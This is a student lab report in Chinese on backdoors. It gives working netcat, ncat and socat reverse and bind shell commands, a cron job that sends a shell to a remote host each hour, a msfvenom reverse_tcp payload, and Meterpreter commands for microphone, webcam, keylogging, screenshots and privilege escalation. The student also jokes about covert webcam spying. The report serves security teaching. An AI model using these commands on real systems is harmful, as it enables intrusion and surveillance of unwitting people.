20155302《网络对抗》后门原理与实践
实验要求
1.使用netcat获取主机操作Shell,cron启动 (0.5分)
2.使用socat获取主机操作Shell, 任务计划启动 (0.5分)
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告
实验内容
?使用nc实现win,mac,Linux间的后门连接
?meterpreter的应用
?MSF POST 模块的应用
实验过程(基本后门工具实践)
1.Windows获得Linux Shell
在windows下,打开CMD,使用ipconfig
指令查看本机IP
在Linux下,打开终端,使用ifconfig
指令查看虚拟机IP
去老师给的链接下下载解压ncat压缩包,在cmd中进入ncat文件夹中,使用ncat.exe -l -p 5302
命令运行ncat.exe监听5302端口。
在kali端,使用nc指令的-e选项,nc windows_ip 5302(所设置的端口) -e /bin/sh
反向连接Windows主机的5302端口。
连接成功后就可以在Win的cmd窗口中输入Linux的命令,此时已经获取了Linux的shell。
2.Linux获得Win shell
Linux中使用nc指令,nc -l -p 5302
,监听5302端口。
Windows反弹连接Linux使用ncat.exe -e cmd.exe ip_of_linux 5302
然后,在kali端,就可以使用windows的cmd了。
3.使用netcat获取主机操作Shell,cron启动
在Windows中使用ncat.exe -l 5302
指令监听5302端口。
Linux在终端窗口使用``nc Win的IP 端口号
命令去连接Win的5302端口。
用crontab -e
指令编辑一条定时任务(输入3,选vim.basic)
添加一行:20 * * * * /bin/netcat 172.30.1.130 5302 -e /bin/sh
,(该指令是在每个小时的第20分钟执行后面的指令)保存并退出,配置生效,可以通过crontab -l来查看。
到达你所设定的时间后,你就可以获得了kali的shell并控制它。
4.使用socat获取主机操作Shell, 任务计划启动
首先去老师的附件中下载socat。
在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器。
在操作中的程序或脚本里选择下载的socat.exe的路径,添加参数中填入tcp-listen:5302 exec:cmd.exe,pty,stderr
,该命令把cmd绑定到5302端口,同时把cmd的Stderr复位到stdout。
任务创建后,右键它使任务运行。
然后在Kali环境下输入指令socat - tcp:172.30.1.130:5302
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5302端口,此时可以发现已经成功获得了一个cmd shell。
5. 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
首先在kali里面输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5302 -f exe > 20155302.exe
生成后门程序(LHOST=kali linux的IP)
通过nc指令将生成的后门程序传送到Windows主机上
windows:ncat.exe -l 5302 > 20155302.exe
kali:nc 172.30.1.130 5302 < 20155302.exe
再在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口。
设置完成后,利用exploit,执行监听,在windows中,利用20155302.exe
运行2015302.exe。
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell。
6.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1.使用record_mic指令可以截获一段音频
2.用webcam_snap指令可以使用摄像头进行拍照
3.使用webcam_stream指令可以使用摄像头进行录像
4.使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
5.使用screenshot指令可以进行截屏
6.使用getuid指令查看当前用户,使用getsystem指令进行提权。但是由于环境问题显示提权失败,不知道为什么。
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:下载并安装某个程序,这个程序可以正常的并且完整的为我们提供服务,但是在开发改程序时可能会设计了一个后门,我们安装程序的过程中也将该后门也装入了我们的系统中。
2.例举你知道的后门如何启动起来(win及linux)的方式?
答:windows:实验中做过的方式有直接双击开启后门程序、通过Windows->控制面板->管理工具启动任务计划程序、开机自启动的后门、和其他程序捆绑运行的后门程序
linux:通过在cron中添加任务,定时执行、通过一些脚本启动后门程序、通过和其他程序捆绑运行后门程序。
(3)Meterpreter有哪些给你映像深刻的功能?
控制靶机的摄像头啦当然是,使用这个可以时时知道对面在干什么,还可以偷拍。。。虽然不是很正经,但是觉得很有趣很有用。。
(4)如何发现自己有系统有没有被安装后门?
1.使用专杀木马的软件
2.关闭本机不用的端口或只允许指定的端口访问
实验总结与体会
这次实验是真滴很有趣,虽然实用性不是很大,因为有现代先进的杀毒软件的存在,但是学会了一些基本原理以及当黑客的快感,第一次觉得自己学的真的是信息安全了。